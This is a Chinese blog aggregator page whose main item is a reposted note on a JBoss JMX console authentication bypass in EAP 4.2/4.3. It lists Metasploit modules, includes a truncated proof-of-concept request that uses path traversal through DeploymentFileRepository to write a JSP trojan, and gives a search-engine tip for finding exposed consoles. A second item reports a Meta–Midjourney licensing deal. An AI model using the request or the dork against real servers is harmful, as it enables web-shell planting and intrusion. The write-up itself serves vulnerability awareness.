首页 文章 精选 留言 我的

精选列表

搜索[软件授权],共10011篇文章
优秀的个人博客,低调大师

jboss非授权访问漏洞

jboss漏洞参考:http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html 具体影响: RedHat JBoss EAP 4.3 RedHat JBoss EAP 4.2 JBoss企业应用平台(EAP)是J2EE应用的中间件平台。 JMX控制台配置仅对使用GET和POST HTTP命令的请求指定了认证要求,远程攻击者可以创建没有指定GET或POST的HTTP请求以admin身份进行操作。其实在 RHSA-2008:0828更新修复了未经认证用户可访问状态servlet的漏洞(CVE-2008-3273);但RHSA-2009:0349中 的bug修复重新引入了这个漏洞。在metasploit中已经看到更新了这个漏洞插件: msf > search jboss [*] Searching loaded modules for pattern ‘jboss’… Exploits ======== Name Rank Description —- —- ———– multi/http/jboss_deploymentfilerepository excellent JBoss Java Class DeploymentFileRepository Directory Traversal multi/http/jboss_maindeployer excellent JBoss JMX Console Deployer Upload and Execute ………… poc: HEAD /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=ikki&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*……. HTTP/1.1 用baidu“inurl:jmx-console”,发现用4.2、4.3版本的不少,可惜主要是windows平台为主。 这里还可以延伸一个小技巧,虽然有些jboss没有密码,但不允许远程发布文件,我们可以用以下解决: GET /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=ikki&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*……. (木马代码) HTTP/1.1 这也是jboss autopwn里的方法。当然metasploit也实现了这点。 本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/422584,如需转载请自行联系原作者

优秀的个人博客,低调大师

Meta 与 Midjourney 达成授权合作

Meta 首席 AI 官 Alexandr Wang宣布,Meta 已与 Midjourney 达成合作,将获得其美学技术 (Aesthetic Technology) 许可,将把 Midjourney 在图像与视频生成领域积累的美学技术整合到未来 Meta 的模型与产品中。 Wang 补充,此次合作由双方研究团队共同推进,旨在借助 Midjourney 在技术与美学上的卓越表现,让 “美” 触达数十亿用户。他强调,Meta 将坚持 all-of-the-above 策略,汇聚顶尖人才、扩展算力,并与行业最佳伙伴协作,以打造更优产品,后续进展将很快公布。 作为知名的 AI 图像和视频生成工具提供商,Midjourney 在相关领域技术先进。而 Meta 近期大力投入 AI 研发,试图追赶 OpenAI 和谷歌等竞争对手。公司创始人扎克伯格此前不惜重金从其他公司招揽 AI 人才,Alexandr Wang 正是在 Meta 以 143 亿美元收购他联合创立的 Scale AI 后,加入 Meta 担任要职。 Meta 的 AI 布局涵盖诸多服务。其 AI 应用围绕 AI 生成的图像和视频信息流构建;Facebook 发布新帖时设有 AI 图像创建按钮;WhatsApp 和 Instagram 的聊天功能中也具备生成 AI 图像的选项。此次与 Midjourney 合作,有望借助其技术提升 Meta 用户生成的照片和视频质量,进一步优化 AI 图像和视频功能。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册